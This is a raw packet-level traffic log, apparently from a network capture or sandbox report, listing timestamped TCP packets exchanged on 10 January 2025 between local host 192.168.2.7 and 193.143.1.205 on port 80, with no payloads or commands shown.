Jan 10, 2025 21:55:21.726994038 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.727004051 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.727008104 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.727035999 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.727071047 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.727091074 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.727114916 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.727718115 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.727730989 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.727744102 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.727755070 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.727761984 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.727787018 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.727885008 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.727896929 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.727910042 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.727921009 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.727926970 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.727932930 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.727945089 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.727946043 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.727957010 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.727968931 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.727969885 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.728019953 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.728800058 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.728811979 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.728823900 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.728837013 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.728842974 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.728848934 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.728862047 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.728981972 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.728993893 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.729001999 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.729006052 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.729020119 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.729032040 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.729046106 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.729177952 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.729931116 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.729943991 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.729957104 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.729968071 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.729980946 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.729995966 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.730040073 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.734390020 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.734406948 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.734420061 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.734431028 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.734445095 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.734456062 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.734479904 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.734488964 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.734488964 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.734534979 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.749138117 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.749162912 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.749181986 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.749191999 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.749203920 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.749214888 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.749228001 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.749238014 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.749248981 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.749259949 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.749260902 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.749475002 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.780915022 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.780936003 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.780946970 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.780987978 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.815099955 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.815114975 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.815193892 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.815202951 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.815213919 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.815227985 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.815370083 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.815407038 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.815407991 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.815541983 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.815553904 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.815568924 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.815571070 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.815597057 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.815716982 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.815766096 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.815900087 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.815910101 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.815949917 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.816057920 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.816071033 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.816082954 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.816096067 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.816112041 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.816139936 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.816236019 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.816247940 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.816260099 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.816287994 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.816381931 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.816394091 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.816435099 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.816701889 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.816751003 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.816879034 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.845987082 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.846000910 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.846025944 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.846048117 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.846051931 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.846065998 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.846076965 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.846091986 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.846100092 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.846148014 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.846152067 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.846312046 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.846323013 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.846360922 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.846699953 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.846709967 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.846715927 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.846728086 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.846848011 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.846858978 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.846869946 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.846873045 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.846887112 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.846908092 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.847018003 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.847043037 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.847054005 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.847081900 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.847369909 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.847382069 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.847395897 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.847407103 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.847412109 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.847420931 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.847441912 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.847481012 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.847502947 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.847703934 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.847714901 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.847726107 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.847740889 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.847769022 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.847798109 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.847855091 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.847896099 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.848002911 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.848016024 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.848026037 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.848037958 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.848057985 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.848086119 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.848486900 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.848496914 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.848507881 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.848517895 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.848534107 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.848546982 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.848581076 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.848659992 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.848671913 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.848681927 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.848694086 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.848706007 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.848712921 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.848738909 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.848752975 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.848822117 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.848833084 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.848941088 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.849306107 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.858253956 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.858266115 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.858290911 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.858305931 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.858318090 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.858318090 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.858331919 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.858367920 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.863114119 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.863137007 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.863149881 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.863162041 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.863190889 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.863207102 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.863260031 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.863275051 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.863286018 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.863297939 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.863302946 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.863305092 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.863321066 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.863344908 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.863348961 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.863358021 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.863369942 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.863382101 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.863393068 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.863395929 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.863404989 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.863416910 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.863428116 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.863429070 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.863440990 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.863451004 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.863451958 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.863465071 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.863472939 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.863481045 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.863492966 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.863496065 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.863508940 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.863508940 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.863519907 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.863533020 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.863539934 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.863543987 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.863557100 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.863569021 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.863569975 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.863581896 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.863589048 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.863610983 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.863620043 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.863624096 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.863636017 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.863648891 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.863651037 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.863662004 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.863672018 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.863711119 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.870485067 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.870505095 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.870517969 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.870531082 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.870543957 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.870558023 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.870589018 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.870663881 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.870677948 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.870707989 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.901190996 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.901212931 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.901237011 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.901245117 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.901257992 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.901269913 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.901281118 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.901284933 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.901298046 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.901309967 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.901338100 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.901479959 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.901493073 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.901532888 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.901560068 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.901606083 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.901617050 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.901628017 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.901647091 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.901668072 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.901698112 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.901730061 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.901742935 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.901752949 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.901766062 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.901777983 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.901778936 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.901789904 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.901801109 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.901835918 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.902409077 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.902422905 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.902450085 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.931710005 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.931724072 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.931756020 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.931767941 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.931786060 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.931798935 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.931809902 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.931822062 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.931920052 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.931920052 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.932245970 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.932286024 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.932287931 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.932302952 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.932313919 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.932337046 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.932351112 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.932363033 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:21.932389021 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:21.987250090 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.094615936 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.099540949 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.099555969 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.099577904 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.099589109 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.099601030 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.099611998 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.099617958 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.099625111 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.099639893 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.099653006 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.099653959 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.099667072 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.099679947 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.099693060 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.099704027 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.099728107 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.099745035 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.099931955 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.100006104 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.100017071 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.100028038 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.100047112 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.100054026 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.100059032 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.100070000 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.100078106 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.100090027 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.100100994 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.100101948 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.100116014 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.100127935 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.100140095 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.100142956 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.100167990 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.100184917 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.101005077 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.101017952 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.101028919 CET	80	49701	193.143.1.205	192.168.2.7
